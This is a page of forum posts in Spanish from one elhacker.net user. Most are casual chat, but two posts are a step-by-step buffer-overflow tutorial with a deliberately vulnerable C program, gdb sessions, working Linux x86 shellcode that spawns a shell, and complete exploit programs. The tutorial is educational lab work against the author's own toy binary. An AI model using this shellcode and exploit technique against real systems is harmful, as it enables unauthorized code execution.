elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 ... 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [31] 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 ... 125
301  Seguridad Informática / Bugs y Exploits / Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona? en: 9 Febrero 2011, 00:56 am
Bueno, tras un ratillo erre que erre golpeándome he conseguido ejecutar una shellcode. Os explico:
Primero he calculado cuantos nops (0x90, el procesador no hace nada) le tengo que meter a la cadena. Luego, he escrito mi shellcode, y finalmente he calculado la dirección de regreso.
Calculemos: Tenemos 36 bytes, pero para cambiar la ejecución del programa hacen falta 44. Así que...
44 - 4 (dirección de regreso) = 40. Mi shellcode mide 25 pbytes...
40 - 25 (shellcode) = 15. En este hueco irá relleno.
Así que la estructura sería: 15 Nops (\x90) + 25 Shellcode + 4 Ret.
Escribimos:
Código:
juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) r $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')
Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "B"x25 . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "XXXX"')

Program received signal SIGSEGV, Segmentation fault.
0x58585858 in ?? ()
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln AAA

Breakpoint 1, vuln (buff=0xbffffb5f "AAA") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904:    0x00000000
(gdb) r $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 15 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb36 '\220' <repeats 15 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff95b in ?? ()
(gdb)
¿Error? Pues sí. No nos hemos dado cuenta de que al volver se restan 4 bytes...
Código:
(gdb) r $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/juanra/Escritorio/Shell/vuln $(perl -e 'print "\x90" x 11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')

Breakpoint 1, vuln (
    buff=0xbffffb3a '\220' <repeats 11 times>, "1�Ph//shh/bin\211�P\211�S\211��\v�\200\004���") at vuln.c:8
8        strcpy (buffer, buff);
(gdb) c
Continuing.
Executing new program: /bin/dash
(no debugging symbols found)
Error in re-setting breakpoint 1: Function "vuln" not defined.
(no debugging symbols found)
(no debugging symbols found)
$
Ahora escribimos el exploit...
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main ()
  6. {
  7.    char nops [11];
  8.    memset (nops, '\x90', 11);
  9.    char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  10.    char ret [5] = "\x04\xf9\xff\xbf";
  11.  
  12.    char command [47];
  13.    strcpy (command, "./vuln ");
  14.    strcat (command, nops);
  15.    strcat (command, shellcode);
  16.    strcat (command, ret);
  17.    system (command);
  18. }
  19.  
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o exploit exploit.c
juanra@Juanra:~/Escritorio/Shell$ ./exploit
$

¡Bueno, lo hemos conseguido! ¡Hemos escrito nuestro primer exploit con shellcode en un entorno linux!

PD: Sé que no me explico nada bien, todas las dudas...
PD2: Habrá más entregas ;D
Un saludo! Os espero.
Sagrini


Sacado de mi blog xD!
302  Seguridad Informática / Bugs y Exploits / Re: [First BoF Linux attack : Sagrini 2010 : elhacker.net] ¿No funciona? en: 9 Febrero 2011, 00:22 am
Bueno, escribí un pequeño code para mi blog hace un ratillo...
Código
  1. #include <stdio.h>
  2. #include <string.h>
  3.  
  4. int vuln (char *buff)
  5. {
  6.    char buffer [36];
  7.    strcpy (buffer, buff);
  8. }
  9.  
  10. int main (int argc, char *argv [])
  11. {
  12.    vuln (argv [1]);
  13. }
  14.  
  15. int feo ()
  16. {
  17.    printf ("Eres feo!!!");
  18.    exit (0);
  19. }
  20.  
Código:
juanra@Juanra:~/Escritorio/Shell$ gcc -o vuln vuln.c --no-stack-protector -z execstack
juanra@Juanra:~/Escritorio/Shell$ ./vuln (perl -e 'print "A"x40 . "\x68\x84\x04\x08"')
Eres feo!!!
juanra@Juanra:~/Escritorio/Shell$
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. int main ()
  6. {
  7.    char nops [40];
  8.    memset (nops, 'A', 40);
  9.    char ret [5] = "\x68\x84\x04\x08";
  10.  
  11.    char command [51];
  12.    strcpy (command, "./vuln ");
  13.    strcat (command, nops);
  14.    strcat (command, ret);
  15.    system (command);
  16. }
  17.  

Luego lo hago con shellcode... Este ahora mismo va :P
303  Foros Generales / Foro Libre / Re: ¿Porqué usar linux/Unix en lugar de plataforma Dos/Windows ? en: 8 Febrero 2011, 23:46 pm
Zero bonita foto :P

Ahí está Leo... Y todo gratis ;)

No sabes de lo que hablas Sagrini. Mira lo que valen las piezas del mac montandotelo tu o comprandote por ejemplo un sony vaio de las mismas prestaciones. Veras la diferencia de dinero. Siendo las mismas piezas porque iban a ser mejores?
http://store.apple.com/es-business/browse/home/shop_mac/family/mac_pro
304  Programación / Programación C/C++ / Re: caracteres de 0 a 256? en: 8 Febrero 2011, 23:43 pm
De 0 a 255. Se repiten:
Código
  1. #include <stdio.h>
  2.  
  3. int main ()
  4. {
  5. int i;
  6.  
  7. for (i=0; i<300; i++)
  8. printf ("%c", (char) i);
  9.  
  10. return 0;
  11. }
  12.  

Suerte!
305  Foros Generales / Foro Libre / Re: Indice de blogs, podcasts y webs del foro (entra y añade el tuyo a la lista) en: 8 Febrero 2011, 22:50 pm
Blackhattan : Sagrini (2011 jeje...)
Pues mi blog, con dos días de vida, va sobre lo que voy aprendiendo cada día. Y como por lo general me gusta aprender de todo... Sin embargo especificaré: Exploiting, seguridad, vulnerabilidades, lenguaje C, un mínimo de ASM, algunos programas (GPL evidentemente) y alguna cosa que me guste (pelis interesantes, libros, etc...)
Blackhattan

Os espero! Un saludo.
Sagrini
306  Foros Generales / Foro Libre / Re: La Gioconda ........hoy en: 8 Febrero 2011, 00:04 am
Jaja vale si que es profundo jeje...
A lo que me refiero: Hay que mirar a la gente como es. Y nada mejor que pasar tiempo con ella...
307  Foros Generales / Foro Libre / Re: ¿Porqué usar linux/Unix en lugar de plataforma Dos/Windows ? en: 8 Febrero 2011, 00:02 am
Pero que coño tio esto de que sus pc tienen calidad ??? que cojones en que mundo vives ... yo me gasto 1200 euros y me monto una torre que flipas.... y por 4000 euros ya ni te digo y le meto W7 , y con 4 monitores arranco 4 juegos Crisis para cada monitor... y flipas... Mac apesta mas que linux...

Sé que son caros, pero por eso son los mejores...
308  Foros Generales / Foro Libre / Re: ¿Porqué usar linux/Unix en lugar de plataforma Dos/Windows ? en: 7 Febrero 2011, 23:40 pm
supongo que al menos todos estamos de acuerdo en que mac apesta no?
Gustos al poder: Yo no. Valen mucho, pero tienen calidad, sus PCs son los mejores y su S.O. se domina con práctica. Ahora, yo no tengo 1200 € jeje
309  Foros Generales / Foro Libre / Re: el futuro de los hd serán los cristales? en: 7 Febrero 2011, 23:39 pm
CD's de 300gb
Bua, yo te gano jeje, una vez lei que habias superordenadores y CDs de 500 GB. Internet iba como una bala jeje, en segundos te descargaba GBs... Pena que fuese ficcion :P
310  Foros Generales / Foro Libre / Re: Yo quiero ser Inmortal - NO quiero morir ¿y TU? en: 7 Febrero 2011, 23:37 pm
y si naces/tienes un defecto grave, lo tendras para siempre?

Para ser inmortal deberiamos ser perfectos. Y para ser inmortal tenemos que morir. Así que...
Páginas: 1 ... 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [31] 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 ... 125
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines